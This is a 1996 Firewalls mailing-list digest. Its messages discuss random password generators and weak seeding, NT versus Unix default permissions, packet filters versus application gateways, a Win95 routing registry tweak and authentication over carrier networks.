Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Firewalls@GreatCircle.COM
From: tim@metrolink.com.hk (Timothy Yim)
Subject: Re: Firewalls-Digest V5 #149
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>
>Firewalls-Digest           Saturday, 9 March 1996       Volume 05 : Number 149

Please stop forward the Firewalls-Digest to tim@metrolink.com.hk.

Thanks
 



Best Regards,




Timothy Yim
Manager
Engineering Department

Metro-Link Services Co. Ltd                     
-----------------------------------
1018-19, Metro Centre II,  21 Lam Hing Street,                          
Kowloon Bay,  Kowloon,  Hong Kong                        
Tel : (852)2331-2381  Fax: (852)2750-9361
Mailto : tim@metrolink.com.hk


From firewalls-owner  Sat Mar  9 03:27:14 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA06462 for firewalls-outgoing; Sat, 9 Mar 1996 03:19:45 -0800 (PST)
Received: from solarnum.itd.uts.edu.au ([138.25.16.3]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id DAA06448 for <firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 03:19:33 -0800 (PST)
Received: from maverick.itd.uts.edu.au (matt@maverick.itd.uts.edu.au [138.25.16.41]) by solarnum.itd.uts.edu.au (8.7.3/8.7.1/uts) with ESMTP id KAA23038; Sat, 9 Mar 1996 10:17:12 +1000 (EST)
Received: (from matt@localhost) by maverick.itd.uts.edu.au (8.7.3/8.7.3/Jas) id VAA00781; Sat, 9 Mar 1996 21:17:29 +1000
From: Jas (Matthew K) <matt@maverick.itd.uts.edu.au>
Message-Id: <199603091117.VAA00781@maverick.itd.uts.edu.au>
Subject: Re: Password generating program
To: Doug.Hughes@Eng.Auburn.EDU (Doug Hughes)
Date: Sat, 9 Mar 1996 21:17:28 +1000 (EST)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <doug-9602081413.AA0032430@netman.eng.auburn.edu> from "Doug Hughes" at Mar 8, 96 08:13:05 am
X-Ph: ph: +61 2 330 1390   fax: +61 2 330 1999   home: +61 2 9929 0717
X-Pager: +61 2 214 1111 #216098 or pager@maverick.itd.uts.edu.au
X-Pgp-Finger: pub 2048/27FB4AE1 1995/09/30 Jas (Matthew K) <matt@uts.edu.au>
X-Pgp-Finger: Key fingerprint = 3A1EEDBE7A6D498D E7953FB40A21A6C8 
X-Mailer: ELM [version 2.4 PL25]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Doug Hughes wrote this...

> We've got one that a former employee here (now workin for Sun)
> wrote.  It works well. They aren't pronounceable, but the are a
> mixture of lower and uppercase letters and numbers.

NIST realeased a random prnouncable passwd generator that was
cryptographically secure as well somtime in 1993 i used to have source
for it but have since lost it, it might be on tapes somewhere here,
i'll try to find it in NIST's archives somewhere.. otherwise i'll go
seacrhing through the tapes...

			Matt
-- 
#!/bin/sh
echo '16i[q]sa[ln0=aln100%Pln100/snlbx]sbA0D3F204445524F42snlbxq'|dc;exit
  Matthew Keenan   Data Network Admin   Information Technology Division
        University of Technology     Sydney Australia

It's nice to be in a position where people apologize because they
assume there's humor in your work, based on past experience,
but they're not sure where it is. -- Rob Pike

From firewalls-owner  Sat Mar  9 03:42:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id DAA06530 for firewalls-outgoing; Sat, 9 Mar 1996 03:21:36 -0800 (PST)
Received: from nic.aic.net ([206.106.252.238]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id DAA06525 for <firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 03:21:22 -0800 (PST)
Received: from NS.AIC.NET (NS.AIC.NET [194.67.30.65]) by nic.aic.net (8.6.12/8.6.12) with ESMTP id PAA09758; Sat, 9 Mar 1996 15:21:11 +0300
Received: (from edd@localhost) by NS.AIC.NET (SMI-SVR4 8.7.3/8.7.3) id PAA00431; Sat, 9 Mar 1996 15:19:25 -0400 (GMT)
From: Edgar Der-Danieliantz <edd@AIC.NET>
Message-Id: <199603091919.PAA00431@NS.AIC.NET>
Subject: Re: UNIX CVirus - 2nd try (pt 1)
To: peter@nmti.com (Peter da Silva)
Date: Sat, 9 Mar 1996 15:19:24 -0400 (GMT)
Cc: smithr@HQ.rs.af.mil, peter@nmti.com, goertzek@wangfed.com,
        firewalls@GreatCircle.COM
In-Reply-To: <9603090117.AA29072@sonic.nmti.com.nmti.com> from "Peter da Silva" at Mar 8, 96 07:17:07 pm
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Peter da Silva:
> 
> > If you are referring to default installation, then you're opening your
> > statement to ridicule. (i.e. SUN OS (Unix), HP-UX, SCO-Unix all have holes
> > in their default installation. 
> 
> I expect they do, but they're not holes of the magnitude of the one NT comes
> with. And there are better systems out there... FreeBSD follows CERT pretty
> closely.

There are improvements in SunOS 5.5 too...

> 
> > I work extensively (administer, configure, develop applications) with SCO
> > (1400 systems),
> 
> I truly feel sorry for you. I've worked with SCO and I'm extremely reluctant
> to consider even looking at it again.
>

I agree. I'm sorry, but SCO _SUCKS_. Don't ask me why - it's 3.2!

 
> 
> NT is distributed with "Everyone" having RWXD access to %SYSTEMROOT% and all
> root partitions.
> 
> This is a bigger hole than anything I've ever seen on a UNIX box. I was
> utterly appalled. A traditional DOS style virus has pretty much free
> reign with this, and it doesn't even have to *look* for things like old
> sendmails and syslogds.
> 
> Yes, I do believe that NT has the potential for being a lot tighter than
> traditional UNIX. But as installed it's wide open in a way that I've never
> seen a UNIX box. And because if the way Windows software is distributed,
> it's virtually impossible to close this hole all the way without crippling
> the applications you bought the machine to run!
>

Has the _potential_, but no more. I guess there are no better thing than 
correctly configured UNIX (SunOS 5.5 just the example)... IMHO, of course.



Regards - Ed



From firewalls-owner  Sat Mar  9 06:27:23 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA14226 for firewalls-outgoing; Sat, 9 Mar 1996 06:19:26 -0800 (PST)
Received: from mail.Clark.Net (mail.clark.net [168.143.0.10]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA14221 for <firewalls@greatcircle.com>; Sat, 9 Mar 1996 06:19:22 -0800 (PST)
Received: from clark.net (mjr@clark.net [168.143.0.7]) by mail.Clark.Net (8.7.3/8.6.5) with ESMTP id JAA28310 for <firewalls@greatcircle.com>; Sat, 9 Mar 1996 09:17:39 -0500 (EST)
From: "Marcus J. Ranum" <mjr@clark.net>
Received: (from mjr@localhost) by clark.net (8.7.1/8.7.1) id JAA28749 for firewalls@greatcircle.com; Sat, 9 Mar 1996 09:17:38 -0500 (EST)
Message-Id: <199603091417.JAA28749@clark.net>
Subject: random password generator
To: firewalls@greatcircle.com
Date: Sat, 9 Mar 1996 09:17:37 -0500 (EST)
Reply-To: mjr@v-one.com
Organization: V-One Corporation, Baltimore, MD Office
Phone: 410-889-8569
X-Mailer: ELM [version 2.4 PL24alpha3]
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

>	srandom( (unsigned) (getpid()*time(&timer)) );  /* Note addition of 
>time call to widen the set of possible seed values. */

	If you use a password chosen by this method, if I know just
the day you set your password, I need to check

	60*60*24*30000 (30000 is MAXPID on, for example, Solaris)

	That's not a huge number. I can further reduce it by making
some guesses about time of day in which you are likely to set your
password; let's say I can roughly halve the search space... It gets
even worse if the attacker can do things like look at .history files
and lastcomm to see what time "passwd" was run. If you can narrow it
down to within 5 minutes, then the number of possible passwords is
only a relatively tiny number...

mjr.

-- 
Chief Scientist, V-ONE Corporation  --  "Security for a connected world"
work            http://www.v-one.com
personal        http://www.clark.net/pub/mjr/mjr-top.html

From firewalls-owner  Sat Mar  9 06:42:19 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA13926 for firewalls-outgoing; Sat, 9 Mar 1996 06:13:29 -0800 (PST)
Received: from su1.in.net (su1.in.net [199.0.62.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id GAA13913 for <firewalls@GreatCircle.com>; Sat, 9 Mar 1996 06:13:22 -0800 (PST)
Received: from pm4-27.in.net by su1.in.net with SMTP (5.65/1.2-eef)
	id AA21585; Sat, 9 Mar 96 09:09:25 -0500
Date: Sat, 9 Mar 96 09:09:25 -0500
Message-Id: <9603091409.AA21585@su1.in.net>
X-Sender: frankw@in.net
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: firewalls@GreatCircle.com
From: Frank Willoughby <frankw@in.net>
Subject: Re: Eternal war: gateway versus filtering
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

Verily, at 10:54 AM 3/8/96 MST, Greg Woods did write:

>> >I don't see much sense in putting application gateways and packet
>> >filters in the same box, or hooking them up in parallel. If the
>> >networks in question needs the degree of separation provided by an
>> >application gateway, then you're dilluting the effect by letting a
>> >filtered packet flow in along with it.
>> >
>> 
>> Agreed.  Putting different levels of security in parallel will ensure
>> that the weaker of the two will be used to bypass the stronger security.
>
>Doesn't this depend on what your company's security policy is and how
>much risk you're willing to accept? 

Greg,

I think you missed my point.  To requote myself:

  "Putting different levels of security in parallel will ensure that 
   the weaker of the two will be used to bypass the stronger security."

The above statement is a fact & basic tenet of Network Security.  It 
has nothing to do with how your company implements Information Security
or what risks you are willling to take.  


>As Brent's book points out in the
>security policy chapter, for many of us, adopting a policy that
>requires us to build a completely impregnable firewall is not
>realistic. 

For starters, there is no such thing as a completely impregnable firewall.
The fact that many applications & protocols present large security risks 
means that the job of providing secure, worry-free communications to/from 
the Internet is almost impossible.  We are in fact stuck with TCP/IP and 
numerous insecure applications (Java made news recently about this).  The 
purpose of a firewall is to protect your company's networks as much as 
possible - helping to *minimize* (not eliminate) the risks in connecting 
to the Internet.  Security is never 100%.  Never has, never will be.  
Case in point - the CIA has a very tight security environment - and yet 
they had Ames.  (This isn't a slam against the CIA, just an illustration
that perfect security doesn't exist).


>But not being able to install perfect security doesn't mean
>that we should do nothing to protect ourselves.  

I wasn't advocating that.  Fortified Networks specializes in helping 
companies achieve high levels of Information Security which are 
user-friendly, virually non-intrusive to business operations, and 
as inexpensive as possible.  I am sure that there is a secure solution 
which will best match your company's needs.  (I would prefer to discuss 
this off-line, however).


>Example: we have an
>application that needs to be accessed from some ATM WAN links at FDDI
>speeds.  We can't have it go through a gateway host because it's too
>slow.  So we punch a hole in the packet filter to allow connections to
>this one host from the outside, and take steps to secure that host.
>Isn't that better than just abandoning security altogether? 

It's a start.  However, there are important pieces of the puzzle which
are missing.  Is the application business-critical?  Do the links go to
external entities (vendors, providers, etc.)?  What has been done to 
secure the application & the systems it runs on?  What is the impact of
a compromise in the application, the system it runs on, or the networks
on which the application resides?  What constitutes a "minimal risk" for
your organization?  What is your comfort level with this minimal risk?
(These questions are rhetorical & food for thought - and not something 
which should be aired in a public forum.)

Each organization has its own unique level of security requirements.  
Plugging the NSA's security policies & environment into a university's
infrastructure is a recipe for disaster.  (You'd have a student &
faculty revolt on your hands very quickly - and/or would experience a 
sudden migration (stampede) from your university to another one.)  8^)  
Plugging a university's security policies & environments into the NSA's 
infrastructure would also be a recipe for disaster.  


>So here's
>at least one case where it does make sense to have a packet filter in
>parallel with an application gateway. Yes, we know it weakens security,
>but we know exactly how much and we willingly choose to accept the
>additional risk.
>
>--Greg

You have to decide what is best for you and what risks your organization
is willing to live with.  FWIW, if you can't provide adequate security 
on the connections, you might want to consider beefing up the auditing
of the results of the application & the systems ir runs on.  Further,
you might also want to increase your monitoring of the traffic going
through the connection, the application, & the system.  Throwing in a 
landmine system or two (which will scream for help if they are probed 
in order to detect intruders on your network) whose hostname and IP 
address are defined in the application systems network database wouldn't 
hurt either.

Best Regards,


Frank

<standard disclaimer>
The opinions expressed above are of the author and may not 
necessarily be representative of Fortified Networks Inc.

Fortified Networks Inc. - Information Security Consulting
Phone: (317) 573-0800   - http://www.fortified.com
Home of the Free Internet Firewall Evaluation Checklist




From firewalls-owner  Sat Mar  9 07:12:20 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id GAA15700 for firewalls-outgoing; Sat, 9 Mar 1996 06:58:01 -0800 (PST)
Received: from Mail.RC.Toronto.on.ca (rcooper.the-wire.com [198.53.192.91]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id GAA15695 for <firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 06:57:55 -0800 (PST)
Received: from rwcooper.rc.toronto.on.ca ([205.206.47.2])
          by Mail.RC.Toronto.on.ca (post.office MTA v1.9.1
          evaluation license) with SMTP id AAA85;
          Sat, 9 Mar 1996 09:56:09 -0500
Received: by rwcooper.rc.toronto.on.ca with Microsoft Mail
	id <01BB0D85.988E61A0@rwcooper.rc.toronto.on.ca>; Sat, 9 Mar 1996 06:56:52 -0500
Message-ID: <01BB0D85.988E61A0@rwcooper.rc.toronto.on.ca>
From: Russ <Russ.Cooper@RC.Toronto.on.ca>
To: "'Husa, Carl'" <carl@crtinc.com>
Cc: "'Firewalls'" <firewalls@GreatCircle.COM>
Subject: RE: Security of Networked Workstations with dial-up PPP Internet!!!
Date: Sat, 9 Mar 1996 06:56:50 -0500
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

When it comes to security, one of the first things to learn is not to rely 
entirely on documentation or support notes for a definitive answer.

Since nobody was asking HOW to make Win95 route, I didn't bother to 
elaborate. I forgot to mention that the Windows '95 .DLL responsible for 
routing (vip.dll) was removed from the final build of Win95, although the 
registry entry wasn't. The vip.dll from build 490 works under the final 
release of Win95 (although I'll make no claims as to how well it works). 
Putting it back into your system directory, and adding or enabling the 
registry value EnableRouting "1" to the key;

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\MSTCP

will allow Win95 to route again (as it did throughout the beta).

Cheers,
Russ



From firewalls-owner  Sat Mar  9 07:27:20 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id HAA16038 for firewalls-outgoing; Sat, 9 Mar 1996 07:15:04 -0800 (PST)
Received: from gauntlet-1.trusted.com (gauntlet-1.trusted.com [204.254.155.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id HAA16030 for <firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 07:15:00 -0800 (PST)
Received: by gauntlet-1.trusted.com; id KAA19870; Sat, 9 Mar 1996 10:21:43 -0500
Received: from vanidor.trusted.com(204.254.155.8) by gauntlet-1.trusted.com via smap (V3.1)
	id xma019864; Sat, 9 Mar 96 10:21:21 -0500
Message-Id: <2.2.16.19960309151218.1a476998@pop.trusted.com>
X-Sender: avolio@pop.trusted.com
X-Mailer: Windows Eudora Pro Version 2.2 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 09 Mar 1996 10:12:18 -0500
To: jwright@zerby.com, firewalls@GreatCircle.COM
From: Frederick M Avolio <avolio@trusted.com>
Subject: Re: Chameleon NetManage FTP/Raptor FW
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

heaven forbid I should defend Raptor :-) but we -- firewall people, not just
vendors -- need to encourage people to complain to their client software
vendors to stop making software that assumes plain passwords. Chameleon is
not the only one who has you load a password in before it tries to make any
connection. 

If you try to connect to anywhere -- through a firewall or not -- that has a
challenge/response system for you, you are hosed. 

I use QVTnet (shareware) because it gives you a window with a command line
interface.  Not as cool as point and click but then I don't use plain passwords.

Fred

 At 09:52 AM 3/8/96 -0500, jwright@zerby.com wrote:
>Howdy,
>
>I find myself in the unenviable position of having to support a Raptor 
>firewall.  I am having nothing but problems with the crazy thing and all that I
>can say is that I am glad I wasn't involved in the purchase decision.
>
>Has anyone gotten Chameleon Netmanage 4.5's FTP to work through the thing with
>gateway authentication?  After my previous experiences with the Raptor's tech
>support and after reading this:
>
>"When user authentication is being enforced at the Eagle it requires the
use ofi
>the account command to exchange the users gateway password. Many windowed ftp 
>clients don't provide access to this command and therefore fail when trying to 
>pass through the Eagle." (from the FAQ on Raptor's web site)
>
>I don't think that I am going to get much help from Raptor.
>
>Normally, I'd recommend my client switch to a non-windowed FTP on their PC's,
>but they rolled out I don't know how many copies of Chameleon before they went
>firewall shopping...
>
>Jason
>
>-- 
>"We look hard, we look through, we look hard to see for real" Sisters of Mercy
>http://www.zerby.com/peewee  WORK jwright@netrex.com PERSONAL peewee@zerby.com
>"....and stop stomping around like that so much!!"   --Deanna Yow, on 12/18/95
>
>


From firewalls-owner  Sat Mar  9 08:42:22 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA19330 for firewalls-outgoing; Sat, 9 Mar 1996 08:21:29 -0800 (PST)
Received: from mycroft.GreatCircle.COM (mycroft.greatcircle.com [198.102.244.35]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id IAA19191 for <firewalls@miles>; Sat, 9 Mar 1996 08:21:06 -0800 (PST)
Received: by mycroft.GreatCircle.COM (8.6.10/SMI-4.1/Brent-960123)
	id HAA25450; Sat, 9 Mar 1996 07:37:30 -0800
Received: from rccmbx.sunyrockland.edu(192.203.40.4) by mycroft via smap (V1.3mjr)
	id sma025442; Sat Mar  9 07:37:14 1996
Received: from RCCLNK.SUNYROCKLAND.EDU (RCCLNK.SUNYROCKLAND.EDU)
 by RCCMBX.SUNYROCKLAND.EDU (PMDF V5.0-5 #8051)
 id <01I24RBOISU2005X0R@RCCMBX.SUNYROCKLAND.EDU> for firewalls@GreatCircle.com;
 Sat, 09 Mar 1996 10:41:00 -0500 (EST)
Received: from RCCLNK.SUNYROCKLAND.EDU by RCCLNK.SUNYROCKLAND.EDU
 (PMDF V5.0-5 #8051) id <01I24RAMBDXU000TSM@RCCLNK.SUNYROCKLAND.EDU>; Sat,
 09 Mar 1996 10:40:09 -0500 (EST)
Date: Sat, 09 Mar 1996 10:40:08 -0500 (EST)
From: "Andrew C. Stoffel (914) 574-4784" <astoffel@sunyrockland.edu>
Subject: NT Security holes ? (was: Re: UNIX CVirus - 2nd try (pt 1) )
In-reply-to: <9603090117.AA29072@sonic.nmti.com.nmti.com>
To: firewalls@GreatCircle.com
Cc: peter@nmti.com
Message-id: <Pine.PMDF.3.91.960309103117.38614A-100000@RCCLNK.SUNYROCKLAND.EDU>
MIME-version: 1.0
Content-type: TEXT/PLAIN; charset=US-ASCII
Content-transfer-encoding: 7BIT
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Mar 1996, Peter da Silva wrote:

> NT is distributed with "Everyone" having RWXD access to %SYSTEMROOT% and all
> root partitions.

> Yes, I do believe that NT has the potential for being a lot tighter than
> traditional UNIX. But as installed it's wide open in a way that I've never
> seen a UNIX box. And because if the way Windows software is distributed,
> it's virtually impossible to close this hole all the way without crippling
> the applications you bought the machine to run!
> 
> (yes, I tried setting my NT box up for "C2" as far as I was able. Things broke.
>  I have found the Sommar Software page, and hope eventually to get a system as
>  virus-resistent and usable as my UNIX boxes. Right now I don't quite see how
>  it can be done)

Off topi c as it is....

Pointers to informatoion concerning this (beyond the anecdotal...) would be
appreciated... especially NT security concerns in a 'real' environment...

Thanks 

- - Andy -
- ----------------------------------------------------------------------------
Andy Stoffel            Project Consultant             voice: (914) 574-4784
acs@campus.com          http://acs.sunyrockland.edu/   fax:   (914) 574-4354
Campus Consultants Group, Inc.                      A Campus America Company 
[********* PGP public key: http://acs.sunyrockland.edu/pubkey.txt *********]


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMUFfJZ3f66UHPSGFAQHKZAL/W5C2T5oTtgZnBRs9CGB3OML/JGcgqH68
yaAaia4GTkc2x20LRwmpEc7ZiD4IHqMyPKsYSWpAvN5RsRigpIFQowizpmUBO/Cy
YY2SJ4aD4OW7IvT2BzsjZ2i6uHk69GCT
=Dgak
-----END PGP SIGNATURE-----


From firewalls-owner  Sat Mar  9 08:57:26 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id IAA22190 for firewalls-outgoing; Sat, 9 Mar 1996 08:52:49 -0800 (PST)
Received: from disclosure.com (di2.disclosure.com [205.156.194.11]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id IAA22176 for <firewalls@greatcircle.com>; Sat, 9 Mar 1996 08:52:43 -0800 (PST)
Received: (from scott@localhost) by disclosure.com (8.7.3/8.7.3) id LAA27007; Sat, 9 Mar 1996 11:54:55 -0500 (EST)
Date: Sat, 9 Mar 1996 11:54:54 -0500 (EST)
From: Scott Barman <scott@di2.disclosure.com>
To: firewalls@greatcircle.com
Subject: Re: UNIX CVirus - 2nd try (pt 1)
In-Reply-To: <199603091919.PAA00431@NS.AIC.NET>
Message-ID: <Pine.SUN.3.91.960309112714.26969A-100000@di2>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

The way this was distributed, the attributions seem to not be correct.
I apologize if it is wrong in this note.

On Sat, 9 Mar 1996, Edgar Der-Danieliantz wrote:
> Peter da Silva:
> > This is a bigger hole than anything I've ever seen on a UNIX box. I was
> > utterly appalled. A traditional DOS style virus has pretty much free
> > reign with this, and it doesn't even have to *look* for things like old
> > sendmails and syslogds.
> > 
> > Yes, I do believe that NT has the potential for being a lot tighter than
> > traditional UNIX. But as installed it's wide open in a way that I've never
> > seen a UNIX box. And because if the way Windows software is distributed,
> > it's virtually impossible to close this hole all the way without crippling
> > the applications you bought the machine to run!
> >
> 
> Has the _potential_, but no more. I guess there are no better thing than 
> correctly configured UNIX (SunOS 5.5 just the example)... IMHO, of course.

OK, let's not get into a Unix v. NT war here.  This list keeps doing
this every couple of months  and I, for one, am not getting anything out
of it.  In fact, it is getting annoying!  So let's stop before it
starts.

That being said let me add my 2-cents in another direction: a system is
only as secure as the policy used to administer it and the competence of
the administrator(s) who has to implement that policy.  I don't care
if we're talking about one of the various flavors of Unix, NT, OS/2 or
even MVS, if you don't know and understand every aspect of that system
and administer it accordingly, then regardless of whose model you use
your system will not be as secure as it can be.  Period.

As a consultant, I don't mind this aspect, it keeps me busy!  :-)  But
it really is distressing!  Last week, I walked into a potential client
whose misconfigured NT-based FTP server was attacked by someone who
understood the hole.  He thought he did it right based on "the book" (he
as a book from an M$ training class).  Was it NT's (or M$'s) fault
because his system was misconfigured?  While I want to say yes (I hate
the admin model of NT), I can't.

The bottom line is the tools are there for all systems.  Granted, some
may be more difficult than others to use, but its the job of the
adminstrator to learn to use them.  I can't tell you how many times I've
asked Unix sys admins with less than five years of experience "what's
the advantage of setting the sticky bit on a directory in a multi-user
environment?" to only get an answer of "huh?"

I'll get off my soapbox now so those who want to flame can do so!  :-)

scott barman
--
scott barman                  DISCLAIMER: I speak to anyone who will listen,
scott@disclosure.com                      and I speak only for myself.
barman@ix.netcom.com
  "Micro$oft and Windoze/NT will be the cause of the de-evolution of
   network security just as the original PC and BASIC was the cause of
   the de-evolution of programming."	- scott barman


From firewalls-owner  Sat Mar  9 09:42:35 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id JAA25941 for firewalls-outgoing; Sat, 9 Mar 1996 09:30:53 -0800 (PST)
Received: from homeport.org (lighthouse.homeport.org [205.136.65.198]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id JAA25929 for <firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 09:30:46 -0800 (PST)
Received: (adam@localhost) by homeport.org (8.6.9/8.6.9) id MAA28664; Sat, 9 Mar 1996 12:33:52 -0500
From: Adam Shostack <adam@homeport.org>
Message-Id: <199603091733.MAA28664@homeport.org>
Subject: Re: How Do Others Handle ...
To: frankw@in.net (Frank Willoughby)
Date: Sat, 9 Mar 1996 12:33:52 -0500 (EST)
Cc: firewalls@GreatCircle.COM
In-Reply-To: <9603090420.AA23319@su1.in.net> from "Frank Willoughby" at Mar 8, 96 11:20:19 pm
X-Mailer: ELM [version 2.4 PL24 ME8b]
Content-Type: text
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

	I was going to write something very similar to what Frank did
write, but let me disagree with both of you on authentication.
Compuserve is not providing any from your point of view.

	What compuserve wants is to ensure that their network gets
used.  They're not really concerned about strong authentication the
way security people think about it (something you have and something
you know, playback resistant, MITM and mirroring resistant.)

	When thinking about security, its useful to assume that
networks outside of your control have been comprimised.  This is
because they have been, and will be again.  If you allow the
untrustable compuserve network to tell you who has been authenticated,
you're going to have bad guys comprimising compuserve to tell you that
they've been authenticated.  Treat incoming connections the same
whereever they're from.  Encrypt the connection and use a strong
authentication method after the encryption is rolling.

Adam

	(Incidentally, MITM is man in the middle, where your session
gets grabbed & resent by someone in the middle.  Mirroring is where an
evesdropper sends in the same response as you, in the hopes of
authenticating first.)

Frank Willoughby wrote:
| At 05:26 PM 3/8/96 -0500, Dick Wall allegedly wrote:

| >These are services where the carrier provides the world wide dial entry
| >points, and authentication, and the calls terminate in a carrier
| >supplied router on the customer supplied network.  I don't have a
| >problem with the authentication part of it .. but I'm concerned about
| >placing someone else router directly on my network without any sort of
| >firewall implementation.  
| 
| I have a problem with the authentication part of it.  Again, authentication
| alone will NOT provide adequate security.

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume


From firewalls-owner  Sat Mar  9 11:28:05 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id LAA00489 for firewalls-outgoing; Sat, 9 Mar 1996 11:18:44 -0800 (PST)
Received: from dns.eng.auburn.edu (dns.eng.auburn.edu [131.204.10.13]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with ESMTP id LAA00484 for <firewalls@GreatCircle.COM>; Sat, 9 Mar 1996 11:18:39 -0800 (PST)
Received: from edison.eng.auburn.edu (edison.eng.auburn.edu [131.204.12.15]) by dns.eng.auburn.edu (8.7.4/8.6.4) with SMTP id NAA25259; Sat, 9 Mar 1996 13:16:13 -0600 (CST)
Received: by edison.eng.auburn.edu (4.1/SMI-4.1)
	id AA06628; Sat, 9 Mar 96 13:15:31 CST
Date: Sat, 9 Mar 1996 13:15:30 -0600 (CST)
From: Doug Hughes <doug@Eng.Auburn.EDU>
X-Sender: doug@edison
To: Dan Cross <cross@math.psu.edu>
Cc: Rabid Wombat <wombat@mcfeely.bsfs.org>, firewalls@GreatCircle.COM
Subject: Re: Password generating program 
In-Reply-To: <199603090151.UAA03618@hausdorff.math.psu.edu>
Message-Id: <Pine.SUN.3.91.960309131243.6553A-100000@edison>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

On Fri, 8 Mar 1996, Dan Cross wrote:

> > IMHO, it is better to teach users to use secure passwords, and check for 
> > non-secure ones. Anybody have a way of doing this when the password is 
> > generated, rather than running CRACK every now and then?
> 
> I concur.  Something like npasswd or passwd+ is, IMHO, preferable to something
> that generates a password that is ``secure'' but has to be written down.
> 
> 	- Dan C.
> 
> (I must confess, I wrote down my passwords when I was in high school.  Then
> again, I wasn't too concerned about my parents breaking into any of the systems
> I was running then...  :-)
> 

Many people are assuming that randomly generated passwords and user chosen
passwords are mutually exclusive. They are not. When we generate user
accounts we give them a randomly generated password. The login/password
sheet we give the user has instructions on how to change this password. Then,
a semi-fascist program vets this password against certain criteria 
(no username forward or backward, longer than 8 chars, etc).

____________________________________________________________________________
Doug Hughes					Engineering Network Services
System/Net Admin  				Auburn University
			doug@eng.auburn.edu
		Pro is to Con as progress is to congress


From firewalls-owner  Sat Mar  9 12:28:07 1996
Received: (majordom@localhost) by miles.greatcircle.com (8.7.1-lists/Lists-951222-1) id MAA03946 for firewalls-outgoing; Sat, 9 Mar 1996 12:21:21 -0800 (PST)
Received: from leibniz.math.psu.edu (leibniz.math.psu.edu [146.186.130.2]) by miles.greatcircle.com (8.7.4/Miles-951221-1) with SMTP id MAA03931 for <firewalls@greatcircle.com>; Sat, 9 Mar 1996 12:21:12 -0800 (PST)
Received: from hausdorff.math.psu.edu (cross@hausdorff.math.psu.edu [146.186.132.5]) by leibniz.math.psu.edu (8.6.12/8.6.9) with ESMTP id PAA19068; Sat, 9 Mar 1996 15:19:32 -0500
Received: from localhost (cross@localhost) by hausdorff.math.psu.edu (8.6.12/8.6.9) with ESMTP id PAA12602; Sat, 9 Mar 1996 15:19:31 -0500
Message-Id: <199603092019.PAA12602@hausdorff.math.psu.edu>
To: Doug Hughes <doug@Eng.Auburn.EDU>
cc: firewalls@greatcircle.com
Subject: Re: Password generating program 
In-reply-to: Your message of "Sat, 09 Mar 1996 13:15:30 CST."
             <Pine.SUN.3.91.960309131243.6553A-100000@edison> 
Date: Sat, 09 Mar 1996 15:19:31 -0500
From: Dan Cross <cross@math.psu.edu>
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

> Many people are assuming that randomly generated passwords and user chosen
> passwords are mutually exclusive. They are not. When we generate user
> accounts we give them a randomly generated password. The login/password
> sheet we give the user has instructions on how to change this password. Then,
> a semi-fascist program vets this password against certain criteria 
> (no username forward or backward, longer than 8 chars, etc).

We do the same thing in the PSU math department.  However, one has to
be careful with proactive password checkers, in that they cannot by TOO
fascist.  A program which rejects ``password'' as being insuitable is
good, one that rejects ``F0b@r1*'' as being ``one character too short''
or the like is not.  Such a program would force a user to write down his
or her password, OR it might lull them into a false sense of security,
where he or she might think, ``Gee, my password is secure, I never have
to change it now...''

To bring this a little back on topic (though I don't think it's entirely
off topic now, I confess.  :-), the same is true of firewalls in general.
